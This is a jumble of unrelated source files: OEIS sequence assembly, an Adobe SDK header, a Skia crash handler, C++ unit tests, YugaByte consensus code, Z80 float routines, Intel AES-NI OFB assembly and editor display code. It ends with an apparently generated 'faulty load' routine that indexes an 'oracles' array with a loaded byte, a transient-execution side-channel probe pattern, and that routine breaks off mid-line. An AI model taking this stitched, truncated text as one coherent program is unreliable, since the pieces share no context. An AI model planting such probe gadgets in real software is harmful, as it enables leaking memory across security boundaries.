1] mov rcx, [r10 + 8 * 2] mov rdx, [r10 + 8 * 3] mov rbp, [r10 + 8 * 4] mov rsi, [r10 + 8 * 7] mov rdi, [r10 + 8 * 8] mov rsp, [r10 + 8 * 15] mov r8, [r10 + 8 * 16] mov r9, [r10 + 8 * 9] mov r12, [r10 + 8 * 10] mov r11, [r10 + 8 * 11] hlt
; A088440: a(4n) = 4n, otherwise a(n) = 1. ; 0,1,1,1,4,1,1,1,8,1,1,1,12,1,1,1,16,1,1,1,20,1,1,1,24,1,1,1,28,1,1,1,32,1,1,1,36,1,1,1,40,1,1,1,44,1,1,1,48,1,1,1,52,1,1,1,56,1,1,1,60,1,1,1,64,1,1,1,68,1,1,1,72,1,1,1,76,1,1,1,80,1,1,1,84,1,1,1,88,1,1,1,92,1,1,1,96,1,1,1,100,1,1,1,104,1,1,1,108,1,1,1,112,1,1,1,116,1,1,1,120,1,1,1,124,1,1,1,128,1,1,1,132,1,1,1,136,1,1,1,140,1,1,1,144,1,1,1,148,1,1,1,152,1,1,1,156,1,1,1,160,1,1,1,164,1,1,1,168,1,1,1,172,1,1,1,176,1,1,1,180,1,1,1,184,1,1,1,188,1,1,1,192,1,1,1,196,1,1,1,200,1,1,1,204,1,1,1,208,1,1,1,212,1,1,1,216,1,1,1,220,1,1,1,224,1,1,1,228,1,1,1,232,1,1,1,236,1,1,1,240,1,1,1,244,1,1,1,248,1 mov $1,$0 mod $0,4 pow $2,$0 pow $1,$2
//======================================================================================== // // $File: //ai_stream/rel_21_0/devtech/sdk/public/samplecode/Webter/Source/WebterPlugin.hpp $ // // $Revision: #1 $ // // Copyright 1987 Adobe Systems Incorporated. All rights reserved. // // NOTICE: Adobe permits you to use, modify, and distribute this file in accordance // with the terms of the Adobe license agreement accompanying it. If you have received // this file from a source other than Adobe, then your use, modification, or // distribution of it requires the prior written permission of Adobe. // //======================================================================================== #ifndef __WebterPlugin_hpp__ #define __WebterPlugin_hpp__ #include "Plugin.hpp" #include "WebterID.h" class WebterPanelController; static const int kToolStrings = 16100; static const int kToolIcons = 16050; static const int kCursorID = 16000; static const int kNoIconErr = '!ico'; /** Creates a new WebterPlugin. @param pluginRef IN unique reference to this plugin. @return pointer to new WebterPlugin. */ Plugin* AllocatePlugin(SPPluginRef pluginRef); /** Reloads the WebterPlugin class state when the plugin is reloaded by the application. @param plugin IN pointer to plugin being reloaded. */ void FixupReload(Plugin* plugin); class WebterPlugin : public Plugin { public: /** Constructor. @param pluginRef IN reference to this plugin. */ WebterPlugin(SPPluginRef pluginRef); /** Destructor. */ virtual ~WebterPlugin(){} /** Restores state of WebterPlugin during reload. */ FIXUP_VTABLE_EX(WebterPlugin, Plugin); protected: /** Calls Plugin::Message and handles any errors returned. @param caller IN sender of the message. @param selector IN nature of the message. @param message IN pointer to plugin and call information. @return kNoErr on success, other ASErr otherwise. */ virtual ASErr Message(char* caller, char* selector, void *message); virtual ASErr SetGlobal(Plugin* plugin); /** Calls Plugin::Startup and initialisation functions, such as AddMenus and AddNotifiers. @param message IN pointer to plugin and call information. @return kNoErr on success, other ASErr otherwise. */ virtual ASErr StartupPlugin( SPInterfaceMessage *message ); /** Sets global data to NULL and calls Plugin::Shutdown. @param message IN pointer to plugin and call information. @return kNoErr on success, other ASErr otherwise. */ virtual ASErr ShutdownPlugin( SPInterfaceMessage *message ); /** Performs actions required for menu item selected. @param message IN pointer to plugin and call information. @return kNoErr on success, other ASErr otherwise. */ virtual ASErr GoMenuItem( AIMenuMessage *message ); /** Updates state of menu items. @param message IN pointer to plugin and call information. @return kNoErr on success, other ASErr otherwise. */ virtual ASErr UpdateMenuItem( AIMenuMessage *message ); /** Deletes the WebterDialog object after the application shutdown notifier is received. @param message IN pointer to plugin and call information. @return kNoErr on success, other ASErr otherwise. */ virtual ASErr Notify( AINotifierMessage *message ); private: AIMenuItemHandle fMenuItem; AIToolHandle fTool[3]; AIRealPoint fStartingPoint, fEndPoint; AIArtHandle fArtHandle; AINotifierHandle fArtSelectionChangedNotifier; AINotifierHandle fDocumentChangedNotifier; AINotifierHandle fDocumentClosedNotifier; AIMenuItemHandle fAboutPluginMenu; WebterPanelController *fWebterPanelController; AINotifierHandle fRegisterEventNotifierHandle; }; #endif
#include "CrashHandler.h" #include "SkTypes.h" #include <stdlib.h> #if defined(SK_BUILD_FOR_MAC) // We only use local unwinding, so we can define this to select a faster implementation. #define UNW_LOCAL_ONLY #include <libunwind.h> #include <cxxabi.h> static void handler(int sig) { unw_context_t context; unw_getcontext(&context); unw_cursor_t cursor; unw_init_local(&cursor, &context); SkDebugf("\nSignal %d:\n", sig); while (unw_step(&cursor) > 0) { static const size_t kMax = 256; char mangled[kMax], demangled[kMax]; unw_word_t offset; unw_get_proc_name(&cursor, mangled, kMax, &offset); int ok; size_t len = kMax; abi::__cxa_demangle(mangled, demangled, &len, &ok); SkDebugf("%s (+0x%zx)\n", ok == 0 ? demangled : mangled, (size_t)offset); } SkDebugf("\n"); // Exit NOW. Don't notify other threads, don't call anything registered with atexit(). _Exit(sig); } #elif defined(SK_BUILD_FOR_UNIX) && !defined(SK_BUILD_FOR_NACL) // NACL doesn't have backtrace(). // We'd use libunwind here too, but it's a pain to get installed for both 32 and 64 bit on bots. // Doesn't matter much: catchsegv is best anyway. #include <execinfo.h> static void handler(int sig) { static const int kMax = 64; void* stack[kMax]; const int count = backtrace(stack, kMax); SkDebugf("\nSignal %d:\n", sig); backtrace_symbols_fd(stack, count, 2/*stderr*/); // Exit NOW. Don't notify other threads, don't call anything registered with atexit(). _Exit(sig); } #endif #if defined(SK_BUILD_FOR_MAC) || (defined(SK_BUILD_FOR_UNIX) && !defined(SK_BUILD_FOR_NACL)) #include <signal.h> void SetupCrashHandler() { static const int kSignals[] = { SIGABRT, SIGBUS, SIGFPE, SIGILL, SIGSEGV, }; for (size_t i = 0; i < sizeof(kSignals) / sizeof(kSignals[0]); i++) { // Register our signal handler unless something's already done so (e.g. catchsegv). void (*prev)(int) = signal(kSignals[i], handler); if (prev != SIG_DFL) { signal(kSignals[i], prev); } } } #elif defined(SK_BUILD_FOR_WIN) #include <DbgHelp.h> static const struct { const char* name; int code; } kExceptions[] = { #define _(E) {#E, E} _(EXCEPTION_ACCESS_VIOLATION), _(EXCEPTION_BREAKPOINT), _(EXCEPTION_INT_DIVIDE_BY_ZERO), _(EXCEPTION_STACK_OVERFLOW), // TODO: more? #undef _ }; static LONG WINAPI handler(EXCEPTION_POINTERS* e) { const DWORD code = e->ExceptionRecord->ExceptionCode; SkDebugf("\nCaught exception %u", code); for (size_t i = 0; i < SK_ARRAY_COUNT(kExceptions); i++) { if (kExceptions[i].code == code) { SkDebugf(" %s", kExceptions[i].name); } } SkDebugf("\n"); // We need to run SymInitialize before doing any of the stack walking below. HANDLE hProcess = GetCurrentProcess(); SymInitialize(hProcess, 0, true); STACKFRAME64 frame; sk_bzero(&frame, sizeof(frame)); // Start frame off from the frame that triggered the exception. CONTEXT* c = e->ContextRecord; frame.AddrPC.Mode = AddrModeFlat; frame.AddrStack.Mode = AddrModeFlat; frame.AddrFrame.Mode = AddrModeFlat; #if defined(_X86_) frame.AddrPC.Offset = c->Eip; frame.AddrStack.Offset = c->Esp; frame.AddrFrame.Offset = c->Ebp; const DWORD machineType = IMAGE_FILE_MACHINE_I386; #elif defined(_AMD64_) frame.AddrPC.Offset = c->Rip; frame.AddrStack.Offset = c->Rsp; frame.AddrFrame.Offset = c->Rbp; const DWORD machineType = IMAGE_FILE_MACHINE_AMD64; #endif while (StackWalk64(machineType, GetCurrentProcess(), GetCurrentThread(), &frame, c, NULL, SymFunctionTableAccess64, SymGetModuleBase64, NULL)) { // Buffer to store symbol name in. static const int kMaxNameLength = 1024; uint8_t buffer[sizeof(IMAGEHLP_SYMBOL64) + kMaxNameLength]; sk_bzero(buffer, sizeof(buffer)); // We have to place IMAGEHLP_SYMBOL64 at the front, and fill in how much space it can use. IMAGEHLP_SYMBOL64* symbol = reinterpret_cast<IMAGEHLP_SYMBOL64*>(&buffer); symbol->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL64); symbol->MaxNameLength = kMaxNameLength - 1; // Translate the current PC into a symbol and byte offset from the symbol. DWORD64 offset; SymGetSymFromAddr64(hProcess, frame.AddrPC.Offset, &offset, symbol); SkDebugf("%s +%x\n", symbol->Name, offset); } // Exit NOW. Don't notify other threads, don't call anything registered with atexit(). _exit(1); // The compiler wants us to return something. This is what we'd do if we didn't _exit(). return EXCEPTION_EXECUTE_HANDLER; } void SetupCrashHandler() { SetUnhandledExceptionFilter(handler); } #else void SetupCrashHandler() { } #endif
SFX_Turn_Off_PC_1_Ch1: duty 2 unknownsfx0x20 4, 240, 0, 6 unknownsfx0x20 4, 240, 0, 4 unknownsfx0x20 4, 240, 0, 2 unknownsfx0x20 1, 0, 0, 0 endchannel
; A261151: a(n) = 11410337850553 + (n-1)*4609098694200. ; 11410337850553,11871247719973,12332157589393,12793067458813,13253977328233,13714887197653,14175797067073,14636706936493,15097616805913,15558526675333,16019436544753,16480346414173,16941256283593,17402166153013,17863076022433,18323985891853,18784895761273,19245805630693,19706715500113,20167625369533,20628535238953,21089445108373,21550354977793,22011264847213,22472174716633,22933084586053,23393994455473,23854904324893,24315814194313,24776724063733,25237633933153,25698543802573,26159453671993 mul $0,460909869420 add $0,11410337850553
#include "gtest/gtest.h" #include <DefQuery/from.h> #include <DefQuery/aggregate.h> #include <list> #include <sstream> #include <string> TEST(AggregateTest, SumIntegersTest) { std::list<int> list = {1, 2, 3}; auto sum = DefQuery::from(list).aggregate([](double& accumlator, int a) { accumlator += a; }, [](int a) { return static_cast<double>(a); }); ASSERT_EQ(6.0, sum); } TEST(AggregateTest, JoinStringsTest) { std::list<int> list = {1, 2, 3}; auto joinedList = DefQuery::from(list).aggregate( [](std::string& accumlator, int a) { accumlator += ',' + std::to_string(a); }, [](int a) { return std::to_string(a); }); ASSERT_EQ("1,2,3", joinedList); } TEST(AggregateTest, JoinStringsToStreamTest) { std::list<int> list = {1, 2, 3}; auto joinedList = DefQuery::from(list).aggregate( [](std::stringstream& accumlator, int a) { accumlator << ',' << a; }, [](int a) { std::stringstream accumlator; accumlator << a; return accumlator; }); ASSERT_EQ("1,2,3", joinedList.str()); } TEST(AggregateTest, JoinStringsToExistingStreamTest) { std::list<int> list = {1, 2, 3}; std::stringstream stringStream; stringStream << "my numbers:"; // Preferably do not use the return value in this case, just check the captured stringStream content // The return value is a pointer to the stringStream or a nullptr if the input enumerator was empty DefQuery::from(list).aggregate( [](std::stringstream* accumlator, int a) { *accumlator << ',' << a; }, [stringStream = &stringStream](int a) { *stringStream << a; return stringStream; }); ASSERT_EQ("my numbers:1,2,3", stringStream.str()); } TEST(AggregateTest, AggregateOneTest) { std::list<int> list = {1}; auto joinedList = DefQuery::from(list).aggregate( [](std::string& accumlator, int a) { accumlator += ',' + std::to_string(a); }, [](int a) { return std::to_string(a); }); ASSERT_EQ("1", joinedList); } TEST(AggregateTest, AggregateNoneTest) { std::list<int> list; EXPECT_THROW(DefQuery::from(list).aggregate( [](std::string& accumlator, int a) { accumlator += ',' + std::to_string(a); }, [](int a) { return std::to_string(a); }), std::runtime_error); }
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. // // The following only applies to changes made to this file as part of YugaByte development. // // Portions Copyright (c) YugaByte, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except // in compliance with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software distributed under the License // is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express // or implied. See the License for the specific language governing permissions and limitations // under the License. // #include "yb/consensus/peer_manager.h" #include <mutex> #include "yb/consensus/consensus_peers.h" #include "yb/consensus/log.h" #include "yb/gutil/map-util.h" #include "yb/gutil/stl_util.h" #include "yb/gutil/strings/substitute.h" #include "yb/util/threadpool.h" namespace yb { namespace consensus { using log::Log; using strings::Substitute; PeerManager::PeerManager(const std::string tablet_id, const std::string local_uuid, PeerProxyFactory* peer_proxy_factory, PeerMessageQueue* queue, ThreadPoolToken* raft_pool_token, const scoped_refptr<log::Log>& log) : tablet_id_(tablet_id), local_uuid_(local_uuid), peer_proxy_factory_(peer_proxy_factory), queue_(queue), raft_pool_token_(raft_pool_token), log_(log) { } PeerManager::~PeerManager() { Close(); } void PeerManager::UpdateRaftConfig(const RaftConfigPB& config) { VLOG(1) << "Updating peers from new config: " << config.ShortDebugString(); std::lock_guard<simple_spinlock> lock(lock_); // Create new peers. for (const RaftPeerPB& peer_pb : config.peers()) { if (peers_.find(peer_pb.permanent_uuid()) != peers_.end()) { continue; } if (peer_pb.permanent_uuid() == local_uuid_) { continue; } VLOG(1) << GetLogPrefix() << "Adding remote peer. Peer: " << peer_pb.ShortDebugString(); auto remote_peer = Peer::NewRemotePeer( peer_pb, tablet_id_, local_uuid_, queue_, raft_pool_token_, peer_proxy_factory_->NewProxy(peer_pb), consensus_); if (!remote_peer.ok()) { LOG(WARNING) << "Failed to create remote peer for " << peer_pb.ShortDebugString() << ": " << remote_peer.status(); return; } peers_[peer_pb.permanent_uuid()] = std::move(*remote_peer); } } void PeerManager::SignalRequest(RequestTriggerMode trigger_mode) { std::lock_guard<simple_spinlock> lock(lock_); for (auto iter = peers_.begin(); iter != peers_.end();) { Status s = iter->second->SignalRequest(trigger_mode); if (PREDICT_FALSE(!s.ok())) { LOG(WARNING) << GetLogPrefix() << "Peer was closed, removing from peers. Peer: " << (*iter).second->peer_pb().ShortDebugString(); iter = peers_.erase(iter++); } else { iter++; } } } void PeerManager::Close() { std::lock_guard<simple_spinlock> lock(lock_); for (const auto& entry : peers_) { entry.second->Close(); } peers_.clear(); } void PeerManager::ClosePeersNotInConfig(const RaftConfigPB& config) { unordered_map<string, RaftPeerPB> peers_in_config; for (const RaftPeerPB &peer_pb : config.peers()) { InsertOrDie(&peers_in_config, peer_pb.permanent_uuid(), peer_pb); } std::lock_guard<simple_spinlock> lock(lock_); for (auto iter = peers_.begin(); iter != peers_.end();) { auto peer = iter->second.get(); if (peer->peer_pb().permanent_uuid() == local_uuid_) { continue; } auto it = peers_in_config.find(peer->peer_pb().permanent_uuid()); if (it == peers_in_config.end() || it->second.member_type() != peer->peer_pb().member_type()) { peer->Close(); iter = peers_.erase(iter); } else { iter++; } } } std::string PeerManager::GetLogPrefix() const { return Substitute("T $0 P $1: ", tablet_id_, local_uuid_); } } // namespace consensus } // namespace yb
; A273405: Number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 673", based on the 5-celled von Neumann neighborhood. ; 1,4,21,44,77,116,165,220,285,356,437,524,621,724,837,956,1085,1220,1365,1516,1677,1844,2021,2204,2397,2596,2805,3020,3245,3476,3717,3964,4221,4484,4757,5036,5325,5620,5925,6236,6557,6884,7221,7564,7917,8276,8645,9020,9405,9796,10197,10604,11021,11444,11877,12316,12765,13220,13685,14156,14637,15124,15621,16124,16637,17156,17685,18220,18765,19316,19877,20444,21021,21604,22197,22796,23405,24020,24645,25276,25917,26564,27221,27884,28557,29236,29925,30620,31325,32036,32757,33484,34221,34964,35717,36476,37245,38020,38805,39596 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,273407 ; First differences of number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 673", based on the 5-celled von Neumann neighborhood. add $1,$2 lpe add $1,1 mov $0,$1
; ; feilipu, 2020 May ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. ; ;------------------------------------------------------------------------- ; asm_f16_mul - z80 half floating point multiply 16-bit mantissa ;------------------------------------------------------------------------- ; ; since the z180, and z80n only have support for 8x8bit multiply, ; the multiplication of the mantissas needs to be broken ; into stages and accumulated at the end. ; ; ab * cd ; ; = (a*c)*2^16 + ; (a*d + b*c)*2^8 + ; (b*d)*2^0 ; ; assume worst overflow case: ab=cd=0xffff ; assume worst underflow case: ab=cd=0x8000 ; ; 0xFFFF * 0xFFFF = 0x FF FE 00 01 ; ; 0x8000 * 0x8000 = 0x 40 00 00 00 ; ; for underflow, maximum left shift is 1 place ; so we should report 32 bits of accuracy ; = 16 bits significant ; ; calculation for the z80 is done using unrolled shift+add. ; with zero operand and zero bit elimination for fast multiply option. ; ; unpacked format: exponent in d, sign in e[7], mantissa in hl ; ;------------------------------------------------------------------------- SECTION code_fp_math16 EXTERN asm_f24_f16 EXTERN asm_f16_f24 EXTERN asm_f24_zero EXTERN asm_f24_inf EXTERN l_mulu_32_16x16 PUBLIC asm_f16_mul_callee PUBLIC asm_f24_mul_callee PUBLIC asm_f24_mul_f24 ; enter here for floating asm_f16_mul_callee, x+y, x on stack, y in hl, result in hl .asm_f16_mul_callee call asm_f24_f16 ; expand to dehl exx ; y d = eeeeeeee e = s------- ; hl = 1mmmmmmm mmmmmmmm pop bc ; pop return address pop hl ; get second operand off of the stack push bc ; return address on stack call asm_f24_f16 ; expand to dehl ; x d = eeeeeeee e = s------- ; hl = 1mmmmmmm mmmmmmmm call asm_f24_mul_f24 jp asm_f16_f24 ; enter here for floating asm_f24_mul_callee, x+y, x on stack, y in dehl, result in dehl .asm_f24_mul_callee exx ; y d = eeeeeeee e = s------- ; hl = 1mmmmmmm mmmmmmmm pop bc ; pop return address pop hl ; x d = eeeeeeee e = s------- hl = 1mmmmmmm mmmmmmmm pop de push bc ; return address on stack .asm_f24_mul_f24 ld a,e ; place op1.s in a[7] exx ; x d' = eeeeeeee e' = s------- hl' = 1mmmmmmm mmmmmmmm xor a,e ; xor sign flags ex af,af ; save sign flag in a[7]' and f' reg ld a,d ; calculate the exponent or a ; second exponent zero then result is zero jr Z,mulzero sub a,07fh ; subtract out bias, so when exponents are added only one bias present jr C,fmchkuf exx add a,d jr C,mulovl jr fmnouf .fmchkuf exx add a,d ; add the exponents jr NC,mulzero .fmnouf ld b,a or a jr Z,mulzero ; check sum of exponents for zero ex af,af ld a,b push af ; stack: sum of exponents a, and xor sign of exponents in f ; first d = eeeeeeee e = s------- hl = 1mmmmmmm mmmmmmmm ; second d' = eeeeeeee e' = s------- hl' = 1mmmmmmm mmmmmmmm ; sum of exponents in a', xor of exponents in sign f' push hl exx pop de ; multiplication of two 16-bit numbers into a 32-bit product call l_mulu_32_16x16 ; exit : de * hl = dehl = 32-bit product pop bc ; retrieve exponent and sign from stack = b,c[7] bit 7,d ; need to shift result left if msb!=1 jr NZ,fm2 add hl,hl rl e rl d jr fm3 .fm2 inc b jr Z,mulovl .fm3 ex de,hl ; put 16 bit mantissa in place, de into hl ld a,d ; capture 8 rounding bits or a ; round jr Z,fm4 set 0,l .fm4 ld d,b ; put exponent in d ld e,c ; put sign into e[7] ret ; return half float f24 .mulovl ex af,af ; get sign ld e,a jp asm_f24_inf ; done overflow .mulzero ex af,af ; get sign ld e,a jp asm_f24_zero ; done underflow
; A227016: Floor(M(g(n-1)+1,..,g(n))), where M = harmonic mean and g(n) = n(n + 1)(n + 2)/6. ; Submitted by Jamie Morken(s3.) ; 1,2,7,14,27,45,69,101,141,191,252,323,408,506,618,746,890,1052,1233,1432,1653,1895,2159,2447,2759,3097,3462,3853,4274,4724,5204,5716,6260,6838,7451,8098,8783,9505,10265,11065,11905,12787,13712,14679,15692,16750,17854,19006,20206,21456,22757,24108,25513,26971,28483,30051,31675,33357,35098,36897,38758,40680,42664,44712,46824,49002,51247,53558,55939,58389,60909,63501,66165,68903,71716,74603,77568,80610,83730,86930,90210,93572,97017,100544,104157,107855,111639,115511,119471,123521,127662,131893 mov $1,$0 add $0,2 mul $0,2 bin $0,3 sub $0,2 add $1,12 sub $0,$1 div $0,8 add $0,2
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 5, 0x90 .globl EncryptOFB_RIJ128_AES_NI .type EncryptOFB_RIJ128_AES_NI, @function EncryptOFB_RIJ128_AES_NI: push %ebp mov %esp, %ebp push %ebx push %esi push %edi sub $(164), %esp movl (32)(%ebp), %eax movdqu (%eax), %xmm0 movdqu %xmm0, (%esp) movl (16)(%ebp), %eax movl (20)(%ebp), %ecx lea (,%eax,4), %eax lea (,%eax,4), %eax lea (%ecx,%eax), %ecx neg %eax movl %eax, (16)(%ebp) movl %ecx, (20)(%ebp) movl (8)(%ebp), %esi movl (12)(%ebp), %edi movl (28)(%ebp), %ebx .p2align 5, 0x90 .Lblks_loopgas_1: lea (,%ebx,4), %ebx cmpl %ebx, (24)(%ebp) cmovll (24)(%ebp), %ebx xor %ecx, %ecx .L__0000gas_1: movb (%esi,%ecx), %dl movb %dl, (96)(%esp,%ecx) add $(1), %ecx cmp %ebx, %ecx jl .L__0000gas_1 movl (20)(%ebp), %ecx movl (16)(%ebp), %eax movl %ebx, (160)(%esp) xor %edx, %edx .p2align 5, 0x90 .Lsingle_blkgas_1: movdqa (%ecx,%eax), %xmm3 add $(16), %eax movdqa (%ecx,%eax), %xmm4 pxor %xmm3, %xmm0 .p2align 5, 0x90 .Lcipher_loopgas_1: add $(16), %eax aesenc %xmm4, %xmm0 movdqa (%ecx,%eax), %xmm4 jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 movdqu %xmm0, (16)(%esp) movl (28)(%ebp), %eax movdqu (96)(%esp,%edx), %xmm1 pxor %xmm0, %xmm1 movdqu %xmm1, (32)(%esp,%edx) movdqu (%esp,%eax), %xmm0 movdqu %xmm0, (%esp) add %eax, %edx movl (16)(%ebp), %eax cmp %ebx, %edx jl .Lsingle_blkgas_1 xor %ecx, %ecx .L__0001gas_1: movb (32)(%esp,%ecx), %bl movb %bl, (%edi,%ecx) add $(1), %ecx cmp %edx, %ecx jl .L__0001gas_1 movl (28)(%ebp), %ebx add %edx, %esi add %edx, %edi subl %edx, (24)(%ebp) jg .Lblks_loopgas_1 movl (32)(%ebp), %eax movdqu (%esp), %xmm0 movdqu %xmm0, (%eax) add $(164), %esp pop %edi pop %esi pop %ebx pop %ebp ret .Lfe1: .size EncryptOFB_RIJ128_AES_NI, .Lfe1-(EncryptOFB_RIJ128_AES_NI) .p2align 5, 0x90 .globl EncryptOFB128_RIJ128_AES_NI .type EncryptOFB128_RIJ128_AES_NI, @function EncryptOFB128_RIJ128_AES_NI: push %ebp mov %esp, %ebp push %esi push %edi movl (28)(%ebp), %eax movdqu (%eax), %xmm0 movl (16)(%ebp), %eax movl (20)(%ebp), %ecx lea (,%eax,4), %eax lea (,%eax,4), %eax lea (%ecx,%eax), %ecx neg %eax movl %eax, (16)(%ebp) movl (8)(%ebp), %esi movl (12)(%ebp), %edi movl (24)(%ebp), %edx .p2align 5, 0x90 .Lblks_loopgas_2: movdqa (%ecx,%eax), %xmm3 add $(16), %eax .p2align 5, 0x90 .Lsingle_blkgas_2: movdqa (%ecx,%eax), %xmm4 pxor %xmm3, %xmm0 movdqu (%esi), %xmm1 .p2align 5, 0x90 .Lcipher_loopgas_2: add $(16), %eax aesenc %xmm4, %xmm0 movdqa (%ecx,%eax), %xmm4 jnz .Lcipher_loopgas_2 aesenclast %xmm4, %xmm0 pxor %xmm0, %xmm1 movdqu %xmm1, (%edi) movl (16)(%ebp), %eax add $(16), %esi add $(16), %edi sub $(16), %edx jg .Lblks_loopgas_2 movl (28)(%ebp), %eax movdqu %xmm0, (%eax) pop %edi pop %esi pop %ebp ret .Lfe2: .size EncryptOFB128_RIJ128_AES_NI, .Lfe2-(EncryptOFB128_RIJ128_AES_NI)
#include "zep/display.h" #include "zep/mcommon/logger.h" #include "zep/mcommon/string/stringutils.h" // A 'window' is like a vim window; i.e. a region inside a tab namespace Zep { void ZepDisplay::InvalidateCharCache() { m_charCacheDirty = true; } void ZepDisplay::BuildCharCache() { const char chA = 'A'; m_defaultCharSize = GetTextSize((const utf8*)&chA, (const utf8*)&chA + 1); for (int i = 0; i < 256; i++) { utf8 ch = (utf8)i; m_charCache[i] = GetTextSize(&ch, &ch + 1); } m_charCacheDirty = false; } const NVec2f& ZepDisplay::GetDefaultCharSize() { if (m_charCacheDirty) { BuildCharCache(); } return m_defaultCharSize; } NVec2f ZepDisplay::GetCharSize(const utf8* pCh) { if (m_charCacheDirty) { BuildCharCache(); } return m_charCache[*pCh]; } }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r9 push %rax push %rbp push %rcx lea addresses_WC_ht+0x4b80, %r15 nop nop nop add %r10, %r10 mov $0x6162636465666768, %r14 movq %r14, %xmm7 movups %xmm7, (%r15) nop nop nop nop nop cmp %r15, %r15 lea addresses_UC_ht+0x179b0, %rax nop nop xor $21194, %rcx movw $0x6162, (%rax) cmp %rcx, %rcx lea addresses_WT_ht+0x1ef00, %r9 add %rbp, %rbp movb (%r9), %r14b nop nop xor %r14, %r14 lea addresses_normal_ht+0x1dd40, %rbp clflush (%rbp) nop nop nop nop cmp %r15, %r15 movups (%rbp), %xmm2 vpextrq $1, %xmm2, %r9 nop nop inc %r9 lea addresses_D_ht+0x10b90, %r15 nop nop nop nop nop add $25779, %rax movb $0x61, (%r15) add %r9, %r9 lea addresses_WT_ht+0x10a50, %rbp xor $12383, %r15 mov $0x6162636465666768, %r14 movq %r14, (%rbp) nop nop nop nop and $32273, %r9 pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %r9 push %rbx push %rdi // Store lea addresses_WT+0x11e90, %r8 nop nop inc %r9 movl $0x51525354, (%r8) nop nop nop add $39415, %r8 // Store lea addresses_normal+0x1c090, %r8 nop nop nop nop nop dec %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%r8) xor %r12, %r12 // Store lea addresses_WC+0x14e50, %rbx nop nop nop nop xor %rdi, %rdi mov $0x5152535455565758, %r12 movq %r12, %xmm3 movups %xmm3, (%rbx) cmp $33540, %rbx // Store lea addresses_PSE+0x106bd, %r8 nop nop nop nop inc %r11 movw $0x5152, (%r8) nop nop nop dec %rbx // Store lea addresses_UC+0xce10, %rbx add %r10, %r10 mov $0x5152535455565758, %r11 movq %r11, (%rbx) xor $59953, %rdi // Store lea addresses_D+0xeac, %r10 nop nop nop nop nop and $24391, %r12 movl $0x51525354, (%r10) nop nop nop nop and $44696, %r12 // Store lea addresses_WC+0x14890, %r10 nop nop nop dec %r9 movw $0x5152, (%r10) nop and %r8, %r8 // Faulty Load lea addresses_WC+0x14890, %rdi nop nop nop inc %r11 movb (%rdi), %r9b lea oracles, %rdi and $0xff, %r9 shlq $12, %r9 mov (%rdi,%r9,1), %r9 pop %rdi pop %rbx pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 